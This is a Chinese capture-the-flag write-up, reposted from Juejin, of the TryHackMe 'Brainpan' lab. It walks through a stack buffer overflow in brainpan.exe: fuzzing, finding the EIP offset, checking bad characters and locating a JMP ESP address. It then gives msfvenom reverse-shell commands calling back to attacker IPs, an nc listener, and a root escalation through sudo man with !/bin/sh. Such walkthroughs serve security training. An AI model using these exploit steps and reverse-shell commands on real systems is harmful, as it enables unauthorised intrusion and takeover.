免责声明
本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用,请不要将文中使用的工具和渗透思路用于任何非法用途,对此产生的一切后果,本人不承担任何责任,也不对造成的任何误用或损害负责。
服务探测
1 | less复制代码┌──(root💀kali)-[~/tryhackme/Brainpan] |
可以看到只开了一个http服务和一个未知的9999端口服务
目录爆破
1 | less复制代码┌──(root💀kali)-[~/tryhackme/Brainpan] |
有一个/bin
目录,把里面的brainpan.exe
下载到本地windows机器打开,发现开了一个9999端口的服务,由此可见靶机上的9999端口服务跑的也是这个程序。
缓冲区溢出验证
FUZZING
由于缓冲区溢出需要反复测试,我们需要在本地另外准备一台windows靶机。这边预备了一台win7主机,内网IP是192.168.3.49
,预装了Immunity Debugger
调试软件
我们用以下fuzzy.py代码开始fuzzing
1 | lua复制代码#!/usr/bin/env python3 |
可以看见,在发送600个字节时靶机程序崩溃
计算EIP位置
此时我们生成一段不重复字节,我们在这里选择600个字节,执行:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
1 | bash复制代码┌──(root💀kali)-[~/tryhackme/Brainpan] |
准备好我们的第二个脚本exploit.py,把上面生成的字节码copy到变量payload中:
1 | ini复制代码#coding=utf-8 |
在Immunity Debugger中重启brainpan.exe程序,然后执行上面的exploit.py
观察Immunity Debugger中EIP的值:72413172
计算出EIP的偏移量,执行:
msf-pattern_offset -q 72413172
1 | css复制代码┌──(root💀kali)-[~/tryhackme/Brainpan] |
得出偏移量值为:514
查找坏字节
我们在Immunity Debugger中输入:!mona bytearray -b "\x00"
0x00在C/C++语言中表示终止,所以是一个很普遍的坏字节,在上面我们首先把它排除掉。
我们用下面的bytearray.py脚本生成所有字节码:
1 | scss复制代码for x in range(1, 256): |
执行:
1 | bash复制代码┌──(root💀kali)-[~/tryhackme/Brainpan] |
此时我们准备第二个攻击脚本exploit2.py,把上面生成的字节码粘贴到payload变量
1 | ini复制代码import socket |
同时,我们把偏移量514赋值到offset变量,把”BBBB”赋值到retn变量,重启brainpan.exe,执行上面的脚本
我们可以查看到EIP的值,此时已经变成了42424242,42在ASCII里就是大写的B,也就是我们上面的exploit.py里面retn的值,此时已证明可以覆盖到EIP。
另外,记住这里ESP的值是:0028F930
我们执行!mona compare -f C:\mona\brainpan\bytearray.bin -a 0028F930
居然没有坏字节,过节了。
但是需要注意,0x00在C/C++语言中表示终止,所以是一个很普遍的坏字节,因此在这种情况下,我们可以认为唯一的坏字节是:\x00
找到可以利用的ESP地址
!mona jmp -r esp -cpb “\x00”
有一个可以利用的地址,记录内存地址:311712F3
需要注意的是这个地址需要从后面往回写,即:\xf3\x12\x17\x31
利用msfvenom ,我们生成攻击的shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.67 LPORT=4444 EXITFUNC=thread -b “\x00” -f c
1 | arduino复制代码┌──(root💀kali)-[~/tryhackme/Brainpan] |
把生成的shellcode放到我们最后一个攻击脚本exploit3.py中
1 | makefile复制代码import socket |
在kali开启一个监听,执行上面代码,收到本地靶机的反弹shell
1 | scss复制代码┌──(root💀kali)-[~/tryhackme/Brainpan] |
到此为止,我们已经成功验证brainpan.exe存在一个缓冲区溢出漏洞,并且给出了攻击代码。
攻击
为了后续渗透提权方便,在攻击远程靶机时,我们的payload换成了meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.21.169 LPORT=4444 EXITFUNC=thread -b “\x00” -f c
正式攻击脚本:
1 | makefile复制代码import socket |
初始shell
1 | bash复制代码msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp |
提权
我们观察靶机的目录结构,看着像是一台linux的机器,而且我在上面的meterpreter里,不能切换到windows的正常shell
1 | bash复制代码meterpreter > pwd |
于是我们另外编译一个linux的shell,由上可知这台机器是x86架构的
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.13.21.169 LPORT=4444 EXITFUNC=thread -b “\x00” -f c
我们把上面生成的payload放到下面的攻击脚本中
1 | makefile复制代码import socket |
开启监听,执行,收到反弹shell
1 | scss复制代码└─# nc -lnvp 4444 |
用python3 -c "__import__('pty').spawn('/bin/bash')"
切换成tty,查看sudo特权
1 | ruby复制代码python3 -c "__import__('pty').spawn('/bin/bash')" |
anansi_util
看起来像是一个自定义命令,尝试执行:
1 | ruby复制代码puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util |
弹出了一个manu名单,后面应该是接相应的命令
经过测试network相当于ifconfig命令,manual相当于man命令,proclist不知道是什么
我们可以根据manual命令进行权限提升
首先执行:sudo /home/anansi/bin/anansi_util manual man
其次执行:!/bin/sh
1 | bash复制代码puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual man |
成功提权到root。
本文转载自: 掘金